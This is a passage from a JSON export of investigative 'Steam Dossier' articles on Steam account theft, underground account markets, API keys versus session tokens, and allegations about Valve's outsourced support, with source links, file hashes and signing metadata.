            "text": "Deleted items: a reply describes discretion.",
            "anchor": "pd-support_canned_refusals--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/support_canned_refusals#deleted-item-exception"
          },
          {
            "level": 3,
            "text": "The collection also records a restoration.",
            "anchor": "pd-support_canned_refusals--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/support_canned_refusals#historical-restoration-exception"
          },
          {
            "level": 2,
            "text": "Search the collection. Open the source.",
            "anchor": "pd-support_canned_refusals--register-heading",
            "source_url": "https://phishdestroy.io/steam_dossier/support_canned_refusals#register-heading"
          },
          {
            "level": 2,
            "text": "A collection of records. Not a count of victims.",
            "anchor": "pd-support_canned_refusals--method-heading",
            "source_url": "https://phishdestroy.io/steam_dossier/support_canned_refusals#method-heading"
          },
          {
            "level": 3,
            "text": "Take the record with you.",
            "anchor": "pd-support_canned_refusals--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/support_canned_refusals#collection-downloads"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/support_canned_refusals"
          },
          {
            "label": "Published account & ticket ↗",
            "url": "https://www.reddit.com/r/SteamScams/comments/1x4vyuk/"
          },
          {
            "label": "Read the support-access investigation →",
            "url": "https://phishdestroy.io/steam_dossier/#insider-threat"
          },
          {
            "label": "",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/support-collection-2026-10-17/images/recovery-2026.png"
          },
          {
            "label": "related cross-post",
            "url": "https://www.reddit.com/r/SteamScams/comments/1x4bm11/"
          },
          {
            "label": "",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/support-collection-2026-10-17/images/restoration-policy-reply.png"
          },
          {
            "label": "Read the source publication ↗",
            "url": "https://www.reddit.com/r/DotA2/comments/hr5csj/"
          },
          {
            "label": "",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/support-collection-2026-10-17/images/trade-substitution-reply.png"
          },
          {
            "label": "Read the source publication ↗",
            "url": "https://www.reddit.com/r/csgo/comments/g6detw/sometimes_in_life_a_bystander_is_no_less_than_a/"
          },
          {
            "label": "",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/support-collection-2026-10-17/images/market-request-closed.png"
          },
          {
            "label": "Read the source publication ↗",
            "url": "https://www.reddit.com/r/steamsupport/comments/1i6dsqy/"
          },
          {
            "label": "",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/support-collection-2026-10-17/images/market-removal-and-unlock.png"
          },
          {
            "label": "Read the source publication ↗",
            "url": "https://www.reddit.com/r/steamsupport/comments/1nb9vig/"
          },
          {
            "label": "Inspect the matching rows →",
            "url": "https://phishdestroy.io/steam_dossier/support_canned_refusals.html?phrase=restoration#support-browser"
          },
          {
            "label": "Inspect the matching rows →",
            "url": "https://phishdestroy.io/steam_dossier/support_canned_refusals.html?phrase=closure#support-browser"
          },
          {
            "label": "Source publication ↗",
            "url": "https://www.reddit.com/r/tf2/comments/167wf9h/steam_support_do_actually_restore_deleted_items/"
          },
          {
            "label": "Inspect the full image ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/support-collection-2026-10-17/images/deleted-item-exception.png"
          },
          {
            "label": "Source publication ↗",
            "url": "https://www.reddit.com/r/GlobalOffensive/comments/3mtm0u/"
          },
          {
            "label": "item-restoration policy",
            "url": "https://help.steampowered.com/en/faqs/view/3B6E-B322-2400-8D24"
          },
          {
            "label": "Trade Protection rules",
            "url": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD"
          },
          {
            "label": "comparison of protection across three games →",
            "url": "https://phishdestroy.io/steam_dossier/three-games-and-security.html"
          },
          {
            "label": "Search all 9,051 collection rows, inspect source groups and download filtered records online.",
            "url": "https://phishdestroy.io/steam_dossier/support_canned_refusals#support-browser"
          },
          {
            "label": "All A+B rows · CSV ↓",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/support-collection-2026-10-17/records.csv"
          },
          {
            "label": "Reading dataset · JSON ↓",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/support-collection-2026-10-17/records.json"
          },
          {
            "label": "Counts & file hashes ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/support-collection-2026-10-17/manifest.json"
          },
          {
            "label": "Tier L research leads · CSV ↓",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/support-collection-2026-10-17/leads.csv"
          },
          {
            "label": "1,505-row support collection",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/support_tickets_archive/MASTER_SUPPORT_EVIDENCE_DATABASE.json"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "Original collection tags · row counts, including context",
            "rows": [
              [
                "Topic",
                "Tier A",
                "Tier B"
              ],
              [
                "Item restoration",
                "860",
                "544"
              ],
              [
                "Ban disputes",
                "834",
                "609"
              ],
              [
                "Account recovery",
                "507",
                "724"
              ],
              [
                "Reported theft",
                "378",
                "3,158"
              ],
              [
                "Closed or unanswered requests",
                "266",
                "755"
              ],
              [
                "Transaction reversals",
                "79",
                "29"
              ],
              [
                "API-key complaints",
                "22",
                "220"
              ],
              [
                "Authenticator removal",
                "15",
                "51"
              ],
              [
                "Total",
                "2,961",
                "6,090"
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/support-collection-2026-10-17/records.csv",
          "sha256": "8db58702ed9d463fb3196cd76caa5b35318a72d39dc4d1544e4d1988983b4c20",
          "bytes": 5319240
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/support-collection-2026-10-17/records.json",
          "sha256": "a91b25a12a8a40278e82204221b3de2c6820bffdff64cc7dd623634946c34904",
          "bytes": 8123062
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/support-collection-2026-10-17/manifest.json",
          "sha256": "0796b32a9c2355d0edfc3070667b01632398b77e3205e934469066e87935f5fd",
          "bytes": 10177
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/support-collection-2026-10-17/leads.csv",
          "sha256": "c8bd0968a3d11c827897ca13f0b3a81ac1080fc8a305b1ab185db04a78f5dffe",
          "bytes": 1345764
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/support_tickets_archive/MASTER_SUPPORT_EVIDENCE_DATABASE.json",
          "sha256": "12fbd93a80df0addfeb187f276206c580366bbf1abeda4168535cdae752ea7f9",
          "bytes": 720795
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "investigation_part2",
      "language": "en",
      "title": "Account access & accountability — The Steam Dossier",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2",
      "source_file": "steam_dossier/investigation_part2.html",
      "source_html_sha256": "7d709cf58a2018b98dd8e0d25ec4605f4612b114a4304e0b285880ab92105678",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "investigation_part2.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/investigation_part2.pdf",
        "sha256": "fb1afbae5259c3b56c4817aa639b3fbf8e6bf239821738be72f17d20ab542678",
        "bytes": 284709,
        "pages": 9
      },
      "integrity": {
        "signed_object": "investigation_part2.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/investigation_part2.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/investigation_part2.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nTHE STEAM DOSSIER / II\n\nPart II — Account Access, Outsourced Support & Enforcement\n\nPublic automation. Outsourced support. The people left counting the cost.\n\nBegin this subsection\nEXHIBIT 01 / LIVE SHADOW MARKET SURVEILLANCE550,000+\n\nSteam accounts actively on sale on FSB Market (an anonymized label; the original name is withheld here)\nat this very moment\n\n550,000+ LIVE INVENTORY · 231,829 IN HISTORICAL SCRAPED CORPUS (198,320 STEALER LOGS)\n\nThe primary underground clearinghouse for hijacked Steam accounts, FSB Market (associated names withheld), authenticates both buyers and sellers using Valve's official Steam OpenID (openid.realm = https://FSB Market). At any given minute, over half a million stolen and compromised accounts (stealer logs from RedLine/Lumma, phishing captures, credential stuffing) are actively listed for pennies ($0.50–$2.00). Neither FSB Market nor the associated forum is blocked by Valve's Link Filter. This is the industrial reservoir supplying the 63.06% paid bot accounts that Valve bans without assisting the victim.\n\nLive Intel: Shadow Market Monitoring (550k+ Live) ↗ · Open capture record ↗ · Open Link Filter trace ↗550K+ LIVE\n\n01 / AN ECOSYSTEM WITH AUTHORS\n\nAutomation has a paper trail.\n\nNamed projects. Published capabilities. Trace a tool to its documentation, then inspect the collected developer relationships.\n\n252REPOSITORIES COLLECTED\n3,320GITHUB PROFILES\n4,214PROFILE–REPOSITORY PAIRS\nValve infrastructure Community libraries Reusable applications\nLines show documented integrations or dependencies. Select a node to follow its evidence.\nWhat the developer graph establishes\n\nThe graph maps published contributor and forker relationships between named projects and GitHub profiles. These are public records — repository forks, contribution lists, profile associations. The question is what the paper trail of published capabilities and developer relationships requires Valve to answer, not what this investigation invented. Source hashes are saved in the map provenance.\n\nExplore the full network ↗Repository source data ↓\n\n02 / DIFFERENT CREDENTIALS. DIFFERENT POWERS.\n\nWhich key are we talking about?\n\nPlaying a game does not require the player to issue a personal Web API key. That is the distinction at the centre of this inquiry.\n\n01 / USER ACCOUNT\nPersonal Web API key\nsteamcommunity.com/dev/apikey\n\nIssued from a user account for permitted API calls. Key creation, visibility, revocation and abuse detection are account-security questions.\n\n02 / GAME BACKEND\nPublisher Web API key\n\nSteamworks partners use publisher credentials for supported backend operations, including game-related services. A player’s personal key is a different credential.\n\n03 / IDENTITY & SESSION\nOpenID / session tokens\n\nOpenID confirms identity to a website. A Steam session or refresh token has a different purpose. These mechanisms should not be presented as one interchangeable “API key”.\n\nValve documents both user and publisher Web API keys. The entire Web API is therefore not separate from Steamworks. API key documentation ↗ archived 2026-09-15 ↗ · Game-session authentication ↗ archived 2026-08-29 ↗\n\nDOCUMENTED BY THE TOOL’S AUTHOR / MARCH 2024\n\nAutomation can use more than an API key.\n\nTrade Offer Manager’s wiki describes using a session access token for parts of the Web API when no separate API key exists. It also records mobile confirmation for key creation from late 2023. The maintainer calls token use this way unsupported by Valve; this is a dated documentation claim, not a live bypass test.\n\nInspect the maintainer’s explanation ↗ archived 2026-09-24 ↗\n\nTHE HUMAN SIDE / AN ILLUSTRATIVE PHISHING PATH\n\nStill playing. Already exposed.\n\nA message from a friend. A request to vote. A “thank you” page. To the player, the task is finished. A compromised session can outlast that moment.\n\nON THE PLAYER’S SCREEN\n\nA FRIEND’S ACCOUNT\n\nOUT OF SIGHT\n\nSilent session token capture\n\nAccount security is the issue before any item is sold.\n\nThe player did not set out to create an automation credential or delegate control. Returning to a game is not evidence that the account is safe. Valve holds the session logs, the API key creation record, and the device correlation data. The victim does not. That asymmetry is the accountability problem.\n\nSession access and credential types\n\nAn API key and a logged-in session are separate credentials with different capabilities. Revoking a key does not terminate an active session. Valve’s own documentation describes both; Valve holds the logs that would show which credential was active at the time of any disputed action. The demand is disclosure of that record — not an inference the investigation has invented. Maintainer documentation on token handling ↗ archived 2026-09-24 ↗ · Valve key documentation ↗ archived 2026-09-15 ↗\n\n03 / THE OFFICIAL MARKET HAS A CEILING\n\nThe item can be rare. The limit stays.\n\nA price above the listing cap cannot be realised through one Community Market listing at that full price.\n\nILLUSTRATIVE ASKING PRICE$5,000\n$100$20,000\n\nAn illustration of the published limit, not a valuation or recommendation to trade.\n\nLISTING CAP≈ $1,800\nWALLET CAP≈ $2,000\n\nWallet funds cannot be withdrawn to a bank account. These constraints create the demand that third-party skin markets fill: a demand the listing and wallet caps produce, while Valve's own rules prohibit commercial operators from meeting it.\n\nSteam’s market limits ↗ archived 2026-09-21 ↗\n\n04 / INSIDE THE SUPPORT BOUNDARY\n\nEntrusted with data. Accountable for access.\n\nValve’s privacy policy expressly provides for sharing personal data with third-party support providers, as necessary for support.\n\nTHE PLAYERAccount & evidence\nVALVERecovery process\nSUPPORT PROVIDERDelegated access\n\nPrivacy Policy §5.2 ↗ · Valve's own policy authorises third-party support access. The open questions are: what permissions were granted, what audit trails exist, and what happened when access was allegedly abused.\n\n2015\nThe scale was public\n\nValve acknowledged widespread account theft and described protective measures.\n\nValve publication ↗ archived 2026-08-09 ↗\n2015\nValve outsourced the desk — and said so\n\nValve keeps a small in-house Steam Support Leadership team and stated it \"hired a couple different companies\" to handle support (Erik Johnson, Valve, to Kotaku); its privacy policy § 5.2 authorises those third parties' access to user data. Which contractor holds account-recovery access, Valve has never disclosed — community discussion names vendors such as Concentrix, but none is Valve-confirmed. The outsourced desk was in place years before either admission below.\n\nKotaku: Valve on its support ↗ archived 2025-07-11 ↗\n2023\nThe first admission\n\nValve's CS:GO team accepts responsibility in writing for an account compromised through its own help-request process, and reverses the trades.\n\nOpen the outsourcing case ↓\n2025\nThe second admission\n\n33 months later, Steam Support writes that a technician \"failed to follow our process which resulted in your account restored to someone else.\" Same channel. Same outcome.\n\nDexerto, 14 Nov 2025 ↗\n\nCASE FILE / HFB & THE OUTSOURCING ALLEGATIONS\n\nThe way in was Steam Support itself. Valve said so in writing.\n\nIn the support reply reproduced by Dexerto, Valve's CS:GO team accepts responsibility for an account compromised through the help-request process — its own channel, not a phishing page and not the user. The items were recovered and the trades reversed, which is the remedy Valve tells other victims does not exist. HFB's inventory was reported at $2,000,000+ on the day and $3,000,000+ in the follow-up; Qkss lost $1,000,000+ the same way and got nothing.\n\nSUPPORT REPLY / REPRODUCED BY DEXERTO · 21 FEB 2023\n“compromised through a support help request, for which the CS:GO team takes responsibility”\nRead the reporting and reproduced message ↗ archived 2025-08-18 ↗\n01 / WHAT VALVE ADMITTED\nIts own support channel was the way in\n\nThe reply covers the compromised account and the reversal of its trades. Valve reversed them — so the trades were reversible. The original authenticated ticket is not in this collection.\n\n02 / WHAT THE SACKINGS DID NOT FIX\nThe same door opened again in November 2025\n\nThe contractor dismissed its entire Steam-support staff — reported by Mzkshow via Dexerto, not a Valve personnel statement. Thirty-three months later Steam Support wrote to another collector that \"a support technician that handled the help request failed to follow our process which resulted in your account restored to someone else.\" Valve's own sentence, about the same channel.\n\nThe second admission, 14 Nov 2025 ↗\n03 / WHAT IS OPEN\nValve has never named the contractor\n\nNeither the contractor nor the location is established by these sources. That is not a hole in the reporting — it is a disclosure Valve has not made about who held access to user accounts.\n\nContemporary account of the case ↗\n\nThree questions Valve has not answered: who could override account recovery, what the access audit found, and what changed afterwards.\n\nLater allegations in the preserved support archive\n\nTwo 2024 Reddit posts relay further Mzkshow investigations — a July 2024 VAC-ban removal case and a December 2024 $13,000 inventory case. These are separately reported incidents. The accountability question in each is identical: who had override access, what did the audit find, and what changed.\n\n14 July 2024 · reported recovery / VAC-ban case ↗2 December 2024 · reported $13,000 inventory case ↗ archived 2025-08-05 ↗Two preserved posts, source rows & hashes ↓\n\n05 / FOLLOW THE LOSS\n\nEvery amount needs a case.\n\nTen cases, June 2022 to March 2026. Every amount is the figure its named source published — $6,300,000, $2,000,000+, $1,000,000+, ≈$320,000, ≈$300,000, and down to €288. Valve holds the transaction log, the session record and the support audit trail for each one, and has produced none of them.\n\nAttribution and amounts remain as reported by each source. Valve holds the transaction logs, session records and support audit trail for every one of these cases. Produce them. A preserved Reddit post does not settle the question — Valve's own records do.\n\nTHE COLLECTION / AFTER CHECKING\n\n231,829 accounts on sale. Valve holds the logs for every one.\n354 → 201\nTrustpilot records\n\n153 duplicate rows removed. Individual review URLs were not preserved in the export.\n\n231,829\nSteam account listings\n\n33,509 classified as autoregistered; 198,320 under the collector’s stealer label. Listings are not completed sales.\n\nCollection audit ↓Search the source archive ↗",
        "headings": [
          {
            "level": 1,
            "text": "Part II — Account Access, Outsourced Support & Enforcement",
            "anchor": "pd-investigation_part2--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#part2-intro"
          },
          {
            "level": 2,
            "text": "Automation has a paper trail.",
            "anchor": "pd-investigation_part2--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#automation-map"
          },
          {
            "level": 2,
            "text": "Which key are we talking about?",
            "anchor": "pd-investigation_part2--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#api-distinction"
          },
          {
            "level": 3,
            "text": "Personal Web API key",
            "anchor": "pd-investigation_part2--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#api-distinction"
          },
          {
            "level": 3,
            "text": "Publisher Web API key",
            "anchor": "pd-investigation_part2--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#api-distinction"
          },
          {
            "level": 3,
            "text": "OpenID / session tokens",
            "anchor": "pd-investigation_part2--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#api-distinction"
          },
          {
            "level": 3,
            "text": "Automation can use more than an API key.",
            "anchor": "pd-investigation_part2--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#token-documentation-note"
          },
          {
            "level": 2,
            "text": "Still playing. Already exposed.",
            "anchor": "pd-investigation_part2--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#unseen-session"
          },
          {
            "level": 3,
            "text": "Silent session token capture",
            "anchor": "pd-investigation_part2--session-hidden-title",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#session-hidden-title"
          },
          {
            "level": 2,
            "text": "The item can be rare. The limit stays.",
            "anchor": "pd-investigation_part2--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#market-ceiling"
          },
          {
            "level": 2,
            "text": "Entrusted with data. Accountable for access.",
            "anchor": "pd-investigation_part2--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#support-access"
          },
          {
            "level": 3,
            "text": "The scale was public",
            "anchor": "pd-investigation_part2--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#support-access"
          },
          {
            "level": 3,
            "text": "Valve outsourced the desk — and said so",
            "anchor": "pd-investigation_part2--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#support-access"
          },
          {
            "level": 3,
            "text": "The first admission",
            "anchor": "pd-investigation_part2--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#support-access"
          },
          {
            "level": 3,
            "text": "The second admission",
            "anchor": "pd-investigation_part2--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#support-access"
          },
          {
            "level": 3,
            "text": "The way in was Steam Support itself. Valve said so in writing.",
            "anchor": "pd-investigation_part2--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#outsourcing-case"
          },
          {
            "level": 4,
            "text": "Its own support channel was the way in",
            "anchor": "pd-investigation_part2--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#outsourcing-case"
          },
          {
            "level": 4,
            "text": "The same door opened again in November 2025",
            "anchor": "pd-investigation_part2--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#outsourcing-case"
          },
          {
            "level": 4,
            "text": "Valve has never named the contractor",
            "anchor": "pd-investigation_part2--heading-19",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#outsourcing-case"
          },
          {
            "level": 2,
            "text": "Every amount needs a case.",
            "anchor": "pd-investigation_part2--heading-20",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#loss-register"
          },
          {
            "level": 2,
            "text": "231,829 accounts on sale. Valve holds the logs for every one.",
            "anchor": "pd-investigation_part2--heading-21",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#part2-sources"
          },
          {
            "level": 3,
            "text": "Trustpilot records",
            "anchor": "pd-investigation_part2--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#part2-sources"
          },
          {
            "level": 3,
            "text": "Steam account listings",
            "anchor": "pd-investigation_part2--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/investigation_part2#part2-sources"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/investigation_part2"
          },
          {
            "label": "Live Intel: Shadow Market Monitoring (550k+ Live) ↗",
            "url": "https://phishdestroy.io/live-intel/?category=steam"
          },
          {
            "label": "Open capture record ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/lzt.market.json"
          },
          {
            "label": "Open Link Filter trace ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-evidence-lzt.json"
          },
          {
            "label": "map provenance",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/automation-map.json"
          },
          {
            "label": "Explore the full network ↗",
            "url": "https://phishdestroy.io/steam_dossier/output_steam_network/network.html"
          },
          {
            "label": "Repository source data ↓",
            "url": "https://phishdestroy.io/steam_dossier/output_steam_network/raw_data.json"
          },
          {
            "label": "API key documentation ↗",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "archived 2026-09-15 ↗",
            "url": "https://web.archive.org/web/20260915025812/https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "Game-session authentication ↗",
            "url": "https://partner.steamgames.com/doc/webapi/ISteamUserAuth"
          },
          {
            "label": "archived 2026-08-29 ↗",
            "url": "https://web.archive.org/web/20260829124950/https://partner.steamgames.com/doc/webapi/ISteamUserAuth"
          },
          {
            "label": "Inspect the maintainer’s explanation ↗",
            "url": "https://github.com/DoctorMcKay/node-steam-tradeoffer-manager/wiki/Access-Tokens"
          },
          {
            "label": "archived 2026-09-24 ↗",
            "url": "https://web.archive.org/web/20260924181824/https://github.com/DoctorMcKay/node-steam-tradeoffer-manager/wiki/Access-Tokens"
          },
          {
            "label": "Maintainer documentation on token handling ↗",
            "url": "https://github.com/DoctorMcKay/node-steam-tradeoffer-manager/wiki/Access-Tokens"
          },
          {
            "label": "archived 2026-09-24 ↗",
            "url": "https://web.archive.org/web/20260924181824/https://github.com/DoctorMcKay/node-steam-tradeoffer-manager/wiki/Access-Tokens"
          },
          {
            "label": "Valve key documentation ↗",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "archived 2026-09-15 ↗",
            "url": "https://web.archive.org/web/20260915025812/https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "Steam’s market limits ↗",
            "url": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921022227/https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "Privacy Policy §5.2 ↗",
            "url": "https://store.steampowered.com/privacy_agreement/"
          },
          {
            "label": "Valve publication ↗",
            "url": "https://store.steampowered.com/oldnews/19618"
          },
          {
            "label": "archived 2026-08-09 ↗",
            "url": "https://web.archive.org/web/20260809125516/https://store.steampowered.com/oldnews/19618"
          },
          {
            "label": "Kotaku: Valve on its support ↗",
            "url": "https://kotaku.com/valve-explains-why-steam-customer-service-is-still-terr-1736988223"
          },
          {
            "label": "archived 2025-07-11 ↗",
            "url": "https://web.archive.org/web/20250711004653/https://kotaku.com/valve-explains-why-steam-customer-service-is-still-terr-1736988223"
          },
          {
            "label": "Dexerto, 14 Nov 2025 ↗",
            "url": "https://www.dexerto.com/counter-strike-2/valve-saves-hacked-cs2-player-threatened-with-ransom-over-300000-of-rare-stickers-3283135/"
          },
          {
            "label": "Read the reporting and reproduced message ↗",
            "url": "https://www.dexerto.com/csgo/csgo-skins-worth-millions-allegedly-stolen-with-help-from-steam-support-staff-2066939/"
          },
          {
            "label": "archived 2025-08-18 ↗",
            "url": "https://web.archive.org/web/20250818113925/https://www.dexerto.com/csgo/csgo-skins-worth-millions-allegedly-stolen-with-help-from-steam-support-staff-2066939/"
          },
          {
            "label": "The second admission, 14 Nov 2025 ↗",
            "url": "https://www.dexerto.com/counter-strike-2/valve-saves-hacked-cs2-player-threatened-with-ransom-over-300000-of-rare-stickers-3283135/"
          },
          {
            "label": "Contemporary account of the case ↗",
            "url": "https://lis-skins.com/ru/blog/krupneisaia-mosenniceskaia-sxema-v-istorii-steam/"
          },
          {
            "label": "14 July 2024 · reported recovery / VAC-ban case ↗",
            "url": "https://www.reddit.com/r/cs2/comments/1e38jo4/stealing_accounts_and_removing_vac_bans_a_new/"
          },
          {
            "label": "2 December 2024 · reported $13,000 inventory case ↗",
            "url": "https://www.reddit.com/r/cs2/comments/1h53qp3/steam_support_is_stealing_accounts_again/"
          },
          {
            "label": "archived 2025-08-05 ↗",
            "url": "https://web.archive.org/web/20250805141942/https://www.reddit.com/r/cs2/comments/1h53qp3/steam_support_is_stealing_accounts_again/"
          },
          {
            "label": "Two preserved posts, source rows & hashes ↓",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/outsourcing-archive-records.json"
          },
          {
            "label": "Collection audit ↓",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/part2-quality-review.json"
          },
          {
            "label": "Search the source archive ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive"
          }
        ],
        "tables": [],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/lzt.market.json",
          "sha256": "88687d3e26c42f6c2062884509ea9b9a6d65c48afcdfb70421b4d012b413847e",
          "bytes": 1424
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-evidence-lzt.json",
          "sha256": "d071715b8d6520c5fa419b1ed2b245a21b386a83bff7fac184b9918cadf2344a",
          "bytes": 1912
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/automation-map.json",
          "sha256": "922479e161faf44c9ad16683f061cab5c03e64f7d28189bb5b3d4368c7571fb9",
          "bytes": 12383
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/output_steam_network/raw_data.json",
          "sha256": "3c0764f441b89c125554efa908f73d4d418073974eb39b0f35e989a1beadabc6",
          "bytes": 1701248
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/outsourcing-archive-records.json",
          "sha256": "a827850bb8c4708783d4e8135c6e58a544237375d9805e18ecd12ed594a7df6d",
          "bytes": 19771
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/part2-quality-review.json",
          "sha256": "adbf04384749ce9504f71619a2e65f4c5d8ebf273c9324c95d17e7730f25daee",
          "bytes": 2248
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "steam-access",
      "language": "en",
      "title": "Their credentials. Their infrastructure. — PhishDestroy",
      "author": "Agent Milo",
      "source_url": "https://phishdestroy.io/steam_dossier/steam-access",
      "source_file": "steam_dossier/steam-access.html",
      "source_html_sha256": "6d73894b2123fc2bc39dc7e3ae8fcf413c8e2d9c7b57f7ce1b12c53604fc789c",
      "exported_at": "2026-10-18T12:03:18.956Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "steam-access.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/steam-access.pdf",
        "sha256": "4357ff20c967505eccdb21858c3de9d1024b9975b8766f8f64e3e6620ae14a04",
        "bytes": 561504,
        "pages": 33
      },
      "integrity": {
        "signed_object": "steam-access.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/steam-access.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/steam-access.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
